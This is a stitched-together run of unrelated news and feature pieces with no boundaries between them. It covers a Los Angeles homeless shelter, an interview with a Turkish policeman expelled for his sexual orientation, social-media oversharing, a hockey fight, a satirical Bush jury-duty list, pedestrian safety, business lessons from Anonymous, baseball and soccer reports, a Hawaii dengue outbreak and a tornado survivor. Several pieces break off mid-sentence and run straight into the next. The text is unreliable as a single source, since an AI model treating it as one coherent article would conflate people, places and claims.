Inside the shelter walls, when the Union Rescue Mission CEO, the Rev. Andy Bales, answers the phone and someone asks how he's doing, he often starts off with a customary "I'm hangin' in there." After further inquiry, he replies in a low, battered tone, "It's kind of wearing me out." The shelter is faced with decreased funding from private donors, salary cuts for staff and declining morale about how long it will be able to continue helping people. And now, there's the threat of a second recession. "It's terrifying. It's been keeping me up at night the last few days," Bales says. "I've been thinking, 'Here we go again. How are we going to weather this?'" Meanwhile, the shelter is at "more than overcapacity," he says, as people sleep in tents on wheels inside the building because there are no more beds. More than half of the families at the shelter lost their homes in the housing crisis. "That's the big change. These are people who are experiencing homelessness for the first time," Bales says. (See if downtown Los Angeles can be "Manhattanized.")
Marqueta Bourgeois is another case in point. Only a few months ago, Bourgeois, 34, worked in Bank of America's home-collections department; her job was to let customers know they were late on their mortgage payments. Meanwhile, she was falling behind on her own payments for rent, and soon she was fired after taking too many sick days. When her only monthly income became a $286 welfare check, she and her family were forced out of their apartment and then quickly wore out their welcome staying at friends' houses. "I felt like everybody was against me," she remembers. "I was getting depressed, thinking, How are we going to make it?"
Bourgeois' eyes well up with tears when she recounts how she, her mother and her 7-year-old son slept in Los Angeles' Union Station and in emergency rooms when they had nowhere else to turn. They've now lived for the past two weeks at the Union Rescue Mission. "I've always had a good house. We always had a nice car. My mom worked for the county, and we were able to wear nice things," she says. Now "my friends judge me. They say, 'How could you take your child down there?'" Some, like Bourgeois who is planning a transfer to transitional housing will make their way out of homelessness. But if the economy remains as it is, many people might not.
See photos and portraits of Los Angeles.(Translated by Barış Mumyakmaz from bianet English)
Osman (28) is a senior policeman who has recently been expelled from post due to his sexual orientation. He has served in the police department for 6 years.
Now he filed a lawsuit for his return. He is looking forward to the trial day.
“I am a devout Muslim. I do my daily prayers. The fact that I am homosexual doesn’t mean that I will live without my religion. If a heterosexual couple can live within the borders of societal values, I must be able to do the same and hold my profession. The administration must be able to regard it as normal, too” he told bianet.
Osman spoke up on the process leading to his expulsion and its aftermath.
Why did you become a policeman?
I truly love my country and nation. I always longed to have profession to serve them. Ever since I was a kid, I said I would become either a doctor or man of law. Looking at it now, if only I became an advocate and defend people who are subjected to discrimination.
You started your post in 2006. Did you reveal your sexual orientation to anybody prior to that?
I wasn’t in homosexual circles. I knew myself, but I had different emotions. I was always postponing to realize myself due to my beliefs and social pressures. I started taking antidepressants. But I had to quit after antidepressants affected my adaptation and social life.
Then I travelled and met somebody in another city. I started sharing my issues with him. I wasn’t living my life explicitly. You don’t such luxary in Turkey.
Did your coworkers find about this relationship?
Yes but indirectly. I was assigned to the intelligence service. Somebody had warned that I had “tendencies” towards men.
Then they started to tapped my phone conversations, furthermore some of coworkers in the intelligence department sent an email to police authorities regarding my sexual orientation so that they could launch a probe on me.
My phone rang one night around 10pm. It was my coworkers who wanted to meet me. When I came down, they told me that we needed to go to the police station without telling anything else.
Around 11 pm, they made me wait for 30 minutes by the office of some police chief. I can never forget it. It was playing Hande Yener inside the office. When they let me in, I also saw the vice police chief of tracking service.
“Do you know why you are here? Can you guess that?” they asked me initially. Then they started yelling and insulting me about my homosexuality. I didn’t do anything to deserve such a thing. I was successful in my profession.
They asked me about 4 or 5 others who might be gay. “Give out these names in your statement as well” they ordered. “I don’t know them. It is heir private life,” I said. But I also told them that my sexual orientation was different.
They also detained one of my friends. He was in pretty rough shape when I saw him as they insulted and beat him up. They asked him questions about me.
Was he a police officer too?
No. He was a civilian. They also threatened him to reveal everything to his family. We didn’t have any sexual relationship, we were just friends sharing their issues.
How did they get hold of him?
They tapped our conversations. Then they detained him, saying that “there were allegations related to him”. My statement could also wait until morning. But they preferred to do it where they could also involve the tracking department. This is a a breach of protocols.
I demanded a lawyer. “No lawyers will ever this fiasco!” they said. I heard so many insults during my statement. But you can’t prove these. You are solely left with its experience without punishment. That night, they also confiscated my pistol so that I wouldn’t harm myself. I got back home around 4 am in the morning.
Two days later, my colleague who took my statement dropped by and showed me the log. He said there was a misunderstanding there. They have changed the statement taker’s name and statement date. Because such person doesn’t exist. Tracking Bureau only taps people and sends the information along to other bureaus.
The new log was signed by a commissioner from the Moral Bureau and registered in the daytime. They made me sign this.
15 days later, they transferred me to a mental hospital. I had to be examine by a council. I told them about my orientation. They gave me a definition in the code for Police Services Health Conditions Regulation. According to that. there is nothing preventing from holding my duties.
Even though the Turkish state tells me that I am “sick” for being homosexual, it also concludes that “I can perform my duties as long as I won’t tell anyone at work”.
What happened then?
After this effort yielded no results, they launched a disciplinary investigation against me. Two inspectors came.
They summoned a former teammate of mine. And he told them that he saw me going to a hotel with a man. Though I was living in secrecy, I was even afraid to face myself. They claimed that I went to a hotel with a man. Even if I do, who cares!
Then I started speaking up: I said I didn’t accept it in the beginning. When I was first assigned to the post, I had two girlfriends. I failed in both. I was contradicting with myself and I wasn’t happy. I was living with two personas. “Either you will struggle or you will completely abandon this,” I said to myself. And I chose to struggle. “Because,” I said, “this is what I am.”
Inspectors sent me to the disciplinary council for charges related to “degrading the required professional pride outside work”. The council was already composed of those who took my statement.
The case would normally end up with a 6-month promotion suspension but the council ruled that I committed a “shameful” crime. The case was sent to Interior Ministry.
During the transfer, they were supposed to send the case with high confidentiality. But they made it so open that everybody learnt about it. Actually they indirectly forced me to resign by breaching confidentiality.
But I didn’t yield. I confronted everything by myself. Now that I am also in contact with LBGT organizations, I will take this case till the very end.
I had to experience this, but I don’t want any other state worker or LGBT person to experience this.
How did you get expelled from being a state worker?
When the case went to the ministry, I was summoned to make a statement. The first words of the assistant secretary was this: “I don’t call this a crime, son. Tell me what happened.”
The meeting was positive. But tow months later, I found out that I was expelled from being a state officer.
Indeed the decision violated Constitution Article 10 and European Declaration of Human Rights Articles 8 and 14. In the meanwhile, we learned everything about the law.
Police officers are also men of law. I did more research after what I went through.
Normally, I was supposed to face a regular penalty according to the disciplinary code. But I received the harshest one. My file records are not below 90 out of 100. I didn’t face any investigations. In such cases, you are not supposed to receive the harshest penalty. They took it personally, this is what I went through.
I am a member of International Police Association. I am urging IPA, international police LBGT organizations and Istanbul Bar Association to follow my case. I am not asking for help from anyone, but I want them to follow the case. They need to check whether there is anything unlawful with the process.
Did anyone support you in the meanwhile?
Yes, I received support from several coworkers. “It is you today and maybe our children tomorrow,” they said. We are still in contact. All of them are heterosexual, married and with children.
Some coworkers supported, others brought me trouble…I felt very upset when some of my very close coworkers didn’t support me. They didn’t even pick up the phone.
I was upset the most by the counter statement of a coworkers who has actually been one of closest friends since childhood.
What do you mean by Hizmet Movement?
There is a very sharp distinction in the police department. Those who are a part of “Hizmet Movement” and those not. [Gulenist movement in the police]
Did you attend their religious talk meetings for this reason?
No. I used to attend their meetings just because of my beliefs. I found peace when I was there. I had a situation [homosexuality] but I am doing well, thank God. I used to find peace amid all the uncertainties I was facing due to my sexual orientation. Therefore I was in the movement.
You were expelled from work. What do you do now? How do you make a living?
I am helping a local business. As a matte of fact, my finances are so tight right now. My brother is helping me out.
Is your family aware of what’s going on?
Only my older brother know it. Other don’t even have a clue. I told them that I took a break from work because of illness. They have no idea, I don’t want to lose them either.
After all, do you still want to work as a policeman?
I don’t know whether I will continue or not, but my right must be given back to me. They damages my dignity. I was so ashamed that I couldn’t say last goodbye to anybody.
I would like to win the case and resign myself if necessary. To come here, I attended an exam, I had an education history. I worked hard to get here.
Most polls say that police officers either want to quit their jobs or commit suicide. Did you ever feel like this?
Yes, there were moment when I felt like that. Have you ever seen any police officers who have a hobby, have a course or go to therapy? No.
When you look closely, you also see that police officers have problems in their relationships because they work 24/7. On the top that, you have pressures from supervisors and other cells in the organization. Police officers face the edge.
We know that police issue fines to LGBT people even when they are subjected to violence. How is your experience with that?
When I first started the profession and I didn’t admit my identity, we admitted a trans woman to the police station. She had blood all over her arms…
Some coworkers were teasing her. I was pissed. They were going to put her into the cell. I said no. I took her to our resting room and made her coffee. I also assisted her to the forensics. Her first words were those: “For the first time, a policeman treated me like a human-being.” I was doted.
Again, we have a state problem here. If the state employs these people, nobody will be forced to prostitution. Nobody is happy with what they are doing anyways. But the government needs to pave the way upon them.
Nobody deserves to be discriminated regardless of religion, race, language, sexual orientation.
Have you ever been confronted by police after leaving your post?
Yes. But I don’t want to do it at all. It only reminds me of the night that I was interrogated.
Lately, I have been to a courthouse as a normal citizen. Private security searched me with their fingers. They don |
every Facebook status update, I wondered why people now feel compelled to share so much about so little. Have Twitter, Facebook, and LinkedIn turned us into a nation of self-absorbed narcissists who think the world really wants to hear that we just drank coffee or view a mobile upload of that amazing fettuccine we had for supper?
"I don't think it's entirely the fact that people are narcissistic and self-centered, although many times that's the case," says Patrick O'Malley, a local speaker and trainer on social networking websites. "I think that there are just no rules on how to use these sites. People see that their friends are putting up these inane posts on Facebook and Twitter all day, and they do the same thing. My rule of thumb is that I'll post five to six times a week on Facebook, just to connect with people. My rule for Twitter is to tweet three or four times a day. I think any more than that is just excessive."
When used properly, I think Facebook and Twitter are fantastic tools, and I've connected with many long-lost friends (and avoided a few as well). I'm just as guilty as anyone of occasionally posting useless updates or goofy YouTube clips from "Match Game '74," but I try to be careful not to overpost. When I explained my annoyance at excessive tweets and status updates to Hal Niedzviecki, Toronto-based author of the book "The Peep Diaries: How We're Learning to Love Watching Ourselves and Our Neighbors," he offered an entirely different perspective. Niedzviecki, who's currently filming a documentary about these websites, has a theory that people are not all self-absorbed, they're just looking for human connection.
"There's a certain charm to status updates of 'I'm making soup.' These things have a beauty to them because they're little domestic details of our lives," he says. "Once upon a time we lived in villages and everybody knew that someone was making soup. Now we live in isolation. If you look at it positively, you say, 'These are ways to alleviate the loneliness and return to a more communal time.' In certain ways you could say that these are anti-narcissistic gestures, they're gestures of community that bring us together."
After chatting with Niedzviecki, I felt like a cad for turning my back on my friends. These poor folks were just trying to reach out and share their lives. In turn, I dropped them like a moldy peach. I contemplated adding them back into my Facebook news feed, but instead I decided to compromise. I sent out a status update of my own: Christopher Muther "is a cad and is sorry for dropping you like a moldy peach."
Christopher Muther can be reached at muther@globe.com.
© Copyright 2009 Globe Newspaper Company.Carrie Underwood’s man don’t play. In fact, he’ll knock your teeth right out.
Or, at least Nashville Predators forward Mike Fisher did on Tuesday when he tussled with Anaheim Ducks defenseman Kevin Bieksa. The two dropped the gloves in the first period and Fisher got a clean left jab on the Ducks tough guy that dislodged one of his chicklets.
Warning: If you’re at all squeamish, you may not want to see this.
But it’s pretty cool.
looks like Bieksa loses a tooth as he gets punched squarely in the face. gross. pic.twitter.com/5wXtaDXnRq — Stephanie (@myregularface) November 18, 2015
See how it just…dangles there? Nasty.
But, plot twist! It turns out the tooth Bieksa lost was a fake.
Bieksa said the tooth he lost in his scrap with Fisher was a fake one. The original was lost in a fight eight years ago. — Eric Stephens (@icemancometh) November 18, 2015
That’s either a lucky break or guy needs a dentist putting his new teeth in a little snugger. Despite Bieksa’s efforts though, the Preds went on to win the game 3-2.Since the media has been getting a little carried away with endless discussion of the Thursday’s debate between Republican presidential candidates, I’d like to bring up a completely different story involving an actual Republican president. Did you know that this Tuesday, former president George W. Bush showed up for jury duty in Dallas, Texas? Yes, that jury duty, the only civic responsibility which is less popular than voting and paying taxes. Here are 10 highlights of George W. Bush’s time on jury duty.
1) George Bush only showed up for jury duty after 5 medical deferments.
2) In case George Bush was unable to serve on the jury, he brought an alternate juror named Dick Cheney.
3) A large “Mission Accomplished” banner was hung on the wall as soon as the ex-president entered the courtroom.
4) President Bush swore to uphold his judicial duty by placing his right hand on a copy of My Pet Goat.
5) This was the first precedent in the history of the American judicial system when a juror, citing his vast prior experience, had tried to appoint the judge.
6) Bush kept insisting that all witnesses be waterboarded to verify the truthiness of their testimony, and asked the jurors to add “guilty of one count of producing weapons of mass destruction” into every jury verdict.
7) All nine justices of the Supreme Court were on call to issue a decision in case the jury votes were split too closely – like within a few hundred votes or so.
8) During the day when George Bush was supposed to be on jury duty, he spent one third of that time on vacation.
9) Secret service agents who accompanied the former president had searched everyone present in the courthouse and confiscated all firearms, knives, and pretzels.
10) George Bush was excused from every trial due to the conflict of interest, when it turned out that practically every person involved in every case before the court had either voted for Bush, or voted against him.
AdvertisementsWhen it comes to pedestrian traffic accidents, there’s nothing sunny about living in the Sunshine State. According to a study release by the nonprofit group Transportation for America, the top four most dangerous cities for pedestrians are all in Florida. Many pedestrian traffic accidents occur on arterial roads that are specifically designed for speeding traffic— leaving few safety provisions for pedestrians or bicyclists.
The high fatality rates of these cities are directly correlated with poor infrastructure planning, according to Transportation for America. When these arterial roads were designed, little consideration was given to people who walk to work or walk for exercise.
Americans are increasingly encouraged to walk or bike to work as a way to stay active and go green. Unfortunately, this increase in pedestrian traffic is in direct conflict with the existing infrastructure in many cities—leading to an increase in pedestrian fatalities.
The National Highway Transportation Safety Administration reports that more than 50,000 pedestrians will be involved in a traffic crash this year. Sadly, over 4,000 pedestrian fatalities will occur.
All too often, negligent drivers are speeding, chatting or texting on their cell phones. And for pedestrians walking on unsafe roads without sidewalks or signal crossings, the risk of being a traffic accident victim greatly increases. While you can’t control for inattentive drivers, as a pedestrian, you can make smart choices. Following basic walking safety tips can reduce the likelihood of an accident.
Always use sidewalks or walking paths; if there is no sidewalk, walk FACING traffic and as far to the left of the road as possible.
Cross only at corners using traffic signals and crosswalks; never cross in the middle of the street.
Before crossing the street, make eye contact with a stopped driver; this lets him know you are crossing and lets you know that he’s paying attention.
If walking at night, wear reflective gear so drivers can see you.
Is your city safe? According to Transportation for America, these are the 10 most dangerous metropolitan areas in the United States:
Orlando/Kissimmee, Florida Tampa/St. Petersburg/Clearwater, Florida Jacksonville, Florida Miami/Fort Lauderdale/Pompano, Florida Riverside/San Bernardino/Ontario, California Las Vegas/Paradise, Nevada Memphis, Tennessee Phoenix/Mesa/Scottsdale, Arizona Houston/Sugar Land/Baytown, Texas Dallas/Fort Worth/Arlington, Texas
Connect with me on Google+ or follow me on TwitterYou may find them annoying. You may find them threatening. But there's no denying that Anonymous is still one of the most prevalent, powerful and decentralized movements out there.
Though largely misunderstood, various groups within the hacktivist and trolling phenomenon have continued to work in secret, waging the odd cyber protest, or stealing and publishing data in acts of Robin-Hood style vigilanteism against governments, companies and individuals.
The aims aren't always clear, but somehow in the last few years Anonymous has become the number one perceived threat among people who work in IT security, and it refuses to leave the headlines. The movement's ability to survive speaks to the power of leaderless groups, crowd sourcing and spontaneity. Here are 5 ways that traditional organizations -- from companies, to start-ups, to charities -- can learn from the mysterious power of hacktivists and internet trolls in Anonymous.
1) From culture comes a powerful brand.
Anonymous's biggest power is its brand, which comes not from any marketing specialist but an online subculture. Think imageboards, memes, and rage comics. Anonymous uses its collectively-created imagery and name to project its power and attract new followers. And it works. Iconography such as the Guy Fawkes mask, the headless suited man and more recently, the LulzSec logo of a man in a top hat and monocle, remind everyone of the cyber attacks other other people carried out while using these images, (even though many have now been arrested). Anonymous is almost a "brand" itself, as much as it is group, movement or process for online protest and disruption. That brand doesn't just refer to images, but online catchphrases, etiquette such as never asking someone about their personal life, and a belief that no one in Anonymous should take themselves too seriously.
The brand power of Anonymous is especially useful to its most enthusiastic followers - people who aren't hackers per se, but who understand the culture of the Internet as much as they do the tricks for manipulating websites and stealing private data. The Anon brand inspires loyalty, purpose and sometimes also a hunger for notoriety. For organizations in the offline world, the takeaway is to invest in creating a unique culture that complements your brand, one that people can identify with and be loyal to. As in Anonymous, it can create camaraderie among followers, and inspire confidence and a belief in something greater than each individual.
2) Be fluid, not formal.
Anonymous is a great example of the growth of the leaderless, decentralized organizations set out in Ori Brafman and Rod A. Beckstrom's 2006 book, The Spider and the Starfish: The Unstoppable Power of Leaderless Organizations. Brafman told me in an interview last year that Anonymous fell squarely into the category of starfish: impossible to kill with one blow, and destined to grow a leg back if one was cut off. Centralized organizations, on the other hand, are like spiders: knock one on the head and it's dead.
The growth of digital openness has heralded an era of more starfish-like organizations, and Anonymous takes that label to the extreme. The harder anyone like law enforcement tries to stop starfish-style movements like Anonymous, Brafman said, the more fuel is added to their fire. Similar examples of starfish groups are Alcoholics Anonymous, which had to be decentralized in order to maintain people's privacy and Al Quaeda, which doesn't require the stamp of approval of a senior leader to carry out attacks. The takeaway for other organizations isn't that they should completely ditch their leadership structure, but consider that decentralizing power can make them more effective and resilient.
On page 2: Using small groups, Twitter and trusting no one...
3) Work as small, flexible groups.
It can be hard to look at Anonymous' main chat channels and see beyond the banter and chaos. No one seems to be giving any real directions. Yet the movement's spontaneity and flexibility is one of its greatest strengths. The radical system that powers Anonymous (if you can call it system) is a byproduct of today's increasingly open, digital society: for Anonymous as a whole there are no leaders, no hierarchy, ground rules, no initiation rites, no physical meeting place. Even the online meeting places where people come to chat are constantly in flux. Last year it was the AnonOps IRC network, now it's VoxAnon, and other distant IRC networks besides. People contribute to "operations" where and how they can. It means that planning is often carried out not weeks, but days or even hours in advance of an attack.
This in turn makes it tricky for authorities to track down Anons and for target companies to protect themselves even when they know an attack is about to happen, as seemed to be the case with the Stratfor hack last December. Anonymous doesn't act as a single, large entity but lots of small groups, who (like successful startups) are nimble, can iterate and can better keep ideas and secrets proprietary. A group of five people who meet on an IRC network can create their own chat channel, find a web vulnerability, carry out the attack, then announce it with a press release as the work of "Anonymous." Only a few people need know that it was the work of a single node working independently, but invoking the name of the wider Anonymous network.
4) Crowdsource ideas and talent.
Anonymous isn't so much a group of hackers as a large community of internet savvy individuals keen to involve themselves in some form of protest or online disruption. Often volunteers will approach Anonymous with a similar question: how can I help? The answer comes from talking to others in the network, and then being directed to supporters who share similar skills or interests. When Anonymous was attacking Scientology in 2008 a few organizers divided its main chat rooms by country; when Anonymous went after PayPal and MasterCard in defence of WikiLeaks in late 2010, volunteers jumped into chat rooms according to their skills.
There were rooms for creating dramatic propaganda videos and digital posters, rooms for learning how to install software for attacking targets, and a more secretive hide-outs for hackers. There can be long periods of quiet where these chat rooms shut down and Anonymous supporters stop collaborating, but in busy periods these ideas and talents are brought in via image boards like 4chan, or Twitter and Facebook. When writing a press release, Anons will use a collaborative document-creating tool like PiratePad or AnonPad. For other organizations, casting a net out to Facebook and Twitter to crowdsource ideas might seem odd or risky, but it can yield surprising results.
5) Trust no one.
This isn't so much a tip but a warning about how vulnerable our private and corporate data is becoming, bearing in mind that the future will see our lives increasingly connected to the Web and so-called Internet of Things. Today a classic online prank may be booby-trapping a file to shut down someone's computer when opened; tomorrow it'll be a hand gesture that inadvertently deletes files when turning on a smart TV. "Hacking" is already so commonplace a word that it no longer refers to technical acts that require truly exceptional skill; breaking into a Facebook account, and stealing emails and passwords is becoming easier thanks to freely-available, automized web tools.
The constituents of Anonymous thus may have given the rest us a taste of what's to come. They already know that stealing identities or publishing personal information is rife within their own the community, so supporters are careful when talking to one another. This can lead to a paranoid atmosphere, where no one trusts anyone truly, and everything is greeted with skepticism. The lesson for companies and organizations is that they should be increasingly careful with customer and client data -- as much as they would be when carrying a wad of cash down a busy shopping street.
Companies should bear in mind that "malware" is also an increasingly popular weapon in the growth of cyber warfare, and that such attack tools can end up in the hands of their more unscrupulous competitors, who want to spy on someone else's product ideas. It may be almost impossible to keep a secret these days, but it's still worth trying.
Check out my new book, "We Are Anonymous: Inside The Hacker World of LulzSec, Anonymous and the Global Cyber Insurgency."
Or follow me on Twitter: @parmyCHICAGO -- Just a week in, Aroldis Chapman feels right at home in Chicago.
Amid the controversy surrounding his acquisition by the Chicago Cubs from the New York Yankees -- controversy born largely from a 30-game suspension under MLB’s domestic violence policy -- Chapman has relied on the support of his new teammates to become accustomed to what is now his third team in less than two years.
“My new teammates have treated me so well," Chapman told ESPN.com in Spanish. "They have welcomed me, and that has helped me adapt better. Even before I joined the team, they sent me messages welcoming me. Strop was the first one to send me a message and also called me and offered me his support.”
In the Cubs' clubhouse last week, Chapman appeared comfortable, hanging out with Pedro Strop and Héctor Rondón, sitting at Javier Báez's locker and kidding around with Justin Grimm.
“It felt strange to put on a new uniform, but in the end this team and its fans are great," Chapman said. "It’s a demanding fan base. They are crazy about their team and they are hungry [for a championship]. The team has welcomed me with open arms. What I have seen from these fans is not something you see every day.”
But the acquisition hasn't come without its challenges. In October 2015, Chapman fired eight gunshots into a garage after arguing with his girlfriend. Charges were not filed, and Chapman has said he showed “bad judgment.” He has also repeatedly stated he did not physically hurt or harm his girlfriend.
“It has affected me,” Chapman said. “Many people have the wrong impression of the person that I am, and that does affect me. But I just focus on my team and all the support I have gotten from my teammates and my family.
“I want to thank all Chicago fans for all the support they have given me since I arrived. Many people out here and outside the field, when I am shopping, dining, everyone has treated me so well. I know that many people have a negative opinion of me due to everything that happened, but what I want to tell them is that if they really knew me, they would have another opinion.”
Strop, for one, is focusing on the field.
"We haven't paid attention (to the outside criticism), and we don't focus on that," Strop told ESPN.com in Spanish. "I know he's a good man, and we all have made mistakes in our lives. We are focused on the job he can do and in how much he will help this team."
After spending six seasons with the Cincinnati Reds, the 28-year-old flamethrower has had a lukewarm start with the Cubs in his return to the National League. Since the Cubs acquired him, Chapman has thrown 3.2 innings, allowing one earned run on one hit, but had his second blown save of the season after only his second opportunity with the team.
Chapman says he will be able to perform to the best of his ability, despite being under enormous pressure to help deliver the first World Series ring for the franchise since 1908.
“My only thought is always to give everything on the mound,” Chapman said. “When I was with the Yankees, all I wanted to do was help the team climb up the division and try to make it to the playoffs. Now I'm on a team that is in first place, they have that expectation, being one of the best teams in the majors. But my attitude is always the same. In the last couple of years with the Reds, the team was not doing well. We were in last place. But my focus on my game has always been the same, whether the team is first or last.”
And the key for the Cubs, Chapman believes, will be that sense of camaraderie he felt from the first day he walked into Wrigley Field.
“Everyone gets along, and that's something very important about this team,” Chapman said. “Besides being a young and very good team, it is that unity and friendship what makes the team win, and has led it to where they are this season. It’s like a family.”Mike McCall, ArmadaFC.com | Oct. 30, 2016
FINAL STATS
JACKSONVILLE, Fla. — Eighteen months ago, Jemal Johnson delivered a promise of everything professional soccer in Northeast Florida could be.
Back then, he ripped a long shot just 12 seconds into the Armada’s first NASL match, a strike that set a record for fastest goal and launched a victory in front of a league-record crowd.
It felt like a fairy tale, and on Sunday, Johnson brought that delirious, dream-like feeling back — this time with help from his roommate, Zach Steinberger.
The pair combined for two goals in 60 seconds that handed the Armada a season-ending 3-2 win against the Tampa Bay Rowdies. Besides vaulting the club out of last place in the NASL Fall Standings, it also marked their first-ever comeback from a two-goal deficit, and sent their USL-bound rivals out of the league with a nice parting gift.
The emotions of the moment were impossible to miss. After Steinberger slotted home his 84th-minute game-winner, he ran toward the corner flag and leapt, screaming and fist-pumping, before being mobbed by his teammates.
“This whole season, I feel like we’ve been on the other side of that game,” Steinberger said. “We’ve been the ones leading 2-0 or 3-2, 2-1, and getting a [penalty] called against us at the last second or we get a goal scored on us in the last second. For the shoe to be on the right foot tonight, it meant everything. And to send the fans home with a win meant the world to me.”
Steinberger’s goal came after he ran onto a pass in the box from substitute Derek Gebhard, then ripped a low, curling missile of a shot past keeper Chris Glodack at the near post.
Just one minute earlier, he had been celebrating with Johnson, who calmly chipped a beautiful shot into the net after a corner from Steinberger to tie the score 2-2.
“It was an amazing feeling,” Johnson said of the two-goal swing. “I feel like we’ll have a few drinks tonight.”
Those goals completed a comeback started by Alhassane Keita in the 29th (also from a Steinberger assist), erasing goals by Tampa Bay’s Martin Vingaard (a 40-yard strike that caught keeper Miguel Gallardo off his line in the 4th minute) and Keith Savage (a 19th-minute header).
The post-game mood was as jubilant as you’d expect, sort of like a last day of school where everyone aced their exams. Steinberger leapt into the stands to celebrate with fans, players lingered on the field longer than usual, and Bryan Burke yanked Steinberger’s shorts down to interrupt an interview.
If there was anything to feel down about, it was Steinberger’s likely departure. With his loan from MLS club Houston Dynamo set to expire, this may have been his last appearance in an Armada jersey.
Since arriving in June, he quickly became a go-to player, finishing with four goals and four assists, which tied for the team lead.
“The biggest thing for me is that the coaching staff and the whole organization believed in me since day one,” Steinberger said. “They stuck with me, and when that happens, a player can do unbelievable things. They get that confidence, and I attribute all my success here to the coaches and the organization.”
Armada head coach Mark Lowry called Steinberger “unbelievable” and highlighted the need for him to continue playing in a possession-oriented, creative system like what he thrived in in Jacksonville.
But even if Steinberger departs, Lowry has plenty to build off of. Since taking charge in August, he turned the Armada from a struggling squad into a high-energy, upbeat team that will head into 2017 looking to build and grow.
And perhaps most importantly, they recaptured some of the magic that had the First Coast so excited about the club’s inception — coming back to take a match they owned on the stat sheet (66 percent possession, a 17-7 lead in shots, and a 7-3 edge in shots on goal).
“We wanted to put on a performance today and a show between two teams that kind of makes the mouth water and makes them want to come back and experience that again,” Lowry said. “We could have won 3-0 and controlled the game but it wouldn’t have been as exciting. For me that was the perfect game to end the season.”
Match Report
Starting XI:
JAX (4-2-3-1): Gallardo, Bahner, Ruthven, Jérôme, Burke, Maripuu (Gebhard 80’), George, Eloundou, Lagerblom (Johnson 68’), Steinberger, Keita (Dixon 45+2’)
TBR (4-2-3-1): Glodack, Sweat, Collins, Mkandawire, Sanfilippo, Savage, Guerra, Vingaard (Ramirez 82’), Adu, Nanchoff, Heinemann (Preciado 79’)
Scoring Summary:
TBR: Vingaard 4’
TBR: Savage (Nanchoff) 19’
JAX: Keita (Steinberger) 29’
JAX: Johnson (Steinberger) 83’
JAX: Steinberger (Gebhard) 84’
Discipline:
TBR: Heinemann (caution) 45’
TBR: Vingaard (caution) 45+2’
JAX: Dixon (caution) 59’
Attendance:
4,572Hawaii Governor David Ige declared a state of emergency on Friday amidst an outbreak of dengue fever. According to the Associated Press, there have been more than 250 confirmed cases on Hawaii’s Big Island.
The declaration also applies to the Zika virus, although there have not yet been any locally-transmitted Zika cases in Hawaii.
“We are doing everything we can to be prepared, to be proactive, to prevent vector borne diseases here in Hawaii,” Ige said at a press conference. The mosquitos that carry dengue can also carry the Zika virus, which is present on several Pacific Islands, including American Samoa.
Per the Department of Health, 231 of the confirmed cases are residents of Hawaii Island and 24 are visitors: 209 are adults and 46 are children.
Outbreaks of dengue are rare in Hawaii, BuzzFeed News reports:
This is the first outbreak in the Hawaiian Islands since 2011, when four people were infected on Oahu with a local strain of dengue fever. In 2001, an outbreak in Hawaii infected 153 people, predominately in East Maui. Dengue is not normally present in Hawaii and occurs mainly in Asia, Africa, the Caribbean, and the South Pacific. It was likely transmitted via travelers coming through the islands, as happened in Hawaii in 2001 and 2011.
An official with the Centers for Disease Control and Prevention said Nov. that visitors to the islands should not cancel plans. “This isn’t a huge outbreak compared to elsewhere,” said Dr. Lyle Petersen, director of the CDC’s Division of Vector-Borne Diseases, on Nov. 20. In comparison, Peterson said as many as 400 million people are infected yearly around the world. He said in Puerto Rico, where the disease is endemic, that 95% of the population has been infected at some point.
Declaring a state of emergency may help the state acquire more funding for preventative measures, and will also empower state officials take more aggressive steps to preventing the outbreak’s spread.Fairdale man's video shows tornado that took wife's life
hello
A screen shot from the video shot by Fairdale resident Clem Schultz as the 2015 tornado bears down on his house. Courtesy of Clem Schultz
Clem Schultz was sure the tornado weather forecasters were warning about was going to miss him, but he knew based on experience his Fairdale home would lose electricity.
So he went to an upstairs bedroom to get camping lanterns he and his wife, Geri, would surely be using early on the evening of April 9 last year.
He looked out a window and spotted a tornado to the west. He speculated it would stay south of his community, population around 150, about 19 miles northwest of DeKalb. He decided to record its passage on his cellphone camera.
But that black monster had other intentions, hopping the railroad tracks a block away.
There was no time for the 85-year-old to hurry back downstairs to the kitchen where Geri was. There was no point in getting in the cellar, which was basically a hole barely big enough to hold their furnace.
In an instant the tornado passed right through -- literally -- his house. Schultz rode the debris from the collapsing chimney down, losing his grip on the phone, getting entangled in a bedsheet, and becoming buried.
Moments later a neighbor was digging him out of the rubble. Schultz was out and standing within four minutes. The neighbor sat him down on one of the house's beams, but told him, "Don't look down."
"Why?" Schultz asked.
"Because your wife is right under you. She's dead."
'Sow's Ear' home
The Schultzes, who previously lived in Hampshire, bought the Fairdale house in 2000 to be closer to one of Geri's daughters. They spent a year rehabilitating it, nicknaming it "The Sow's Ear."
"We were very proud of that house," Schultz says.
And Geri, 67, became fast friends with a next-door neighbor, Jacqueline Klosa, 69. The first week of every month, the two would take off on a girls-only day of shopping for groceries and more. Geri Schultz would drive Klosa on errands, including doctor appointments.
Klosa, too, died in the tornado.
At Geri's memorial celebration in June -- when Clem and Geri would have been married 25 years -- a friend asked Schultz if he thought Geri was in heaven. Yes, Schultz said.
"... Because those two, the devil could not put up with them at the same time," he continued.
- Brian Hill | Staff Photographer Clem Schultz survived the April 9, 2015, tornado that struck Fairdale, but his wife did not. Missy, the couple's white shepherd, went missing for two days.
Schultz will return to Fairdale for a memorial dedication April 9, but not to live. He found a place he loves late last summer, a two-house farm property northeast of Genoa. He intends to spend the rest of his days there.
He is comforted by his dog Missy, a white shepherd who went missing for two days after the tornado, refusing to let anyone get near her. She's still skittish after the experience, Schultz says, but the "critter-gitter" is happy to run after possums and raccoons at her new home.
Missy sleeps on the sofa, on an afghan Geri crocheted for her. It was one of the possessions Clem was able to salvage.
"I'll be watching TV, and something comes on that needs a comment, and she (Geri) is not there," Clem says. "But Missy's always there."
He fingers the cream-colored afghan, choking up.
"This is the last thing she crocheted. It was for Missy."
A portrait of him and Geri was found in Harvard more than 30 miles northeast and returned. His scrapbook about his service in the Navy (1948 to 1952) survived because it had been stored in a plastic tub and the tub stayed intact. There are other afghans, and old typewriters he repairs. One of his daughters lives in the bigger house on the property. He and Missy like to ride around the property on a golf cart, and Clem loves to watch the sunsets.
His sore back also serves as a reminder of the tornado. Schultz suffered a compressed broken vertebra. His back was contorted like a question mark, he said, until he underwent surgery at the University of Wisconsin-Madison hospital, courtesy of his VA health coverage. He marvels at it, saying doctors essentially mud-jacked the vertebra, injecting bone cement.
About that video
One thing that has helped his spirits is his video of the tornado bearing down.
"I did not know if I wanted to see that video," Schultz says. His daughter showed it to his doctor, and a few days later, Schultz got up the nerve.
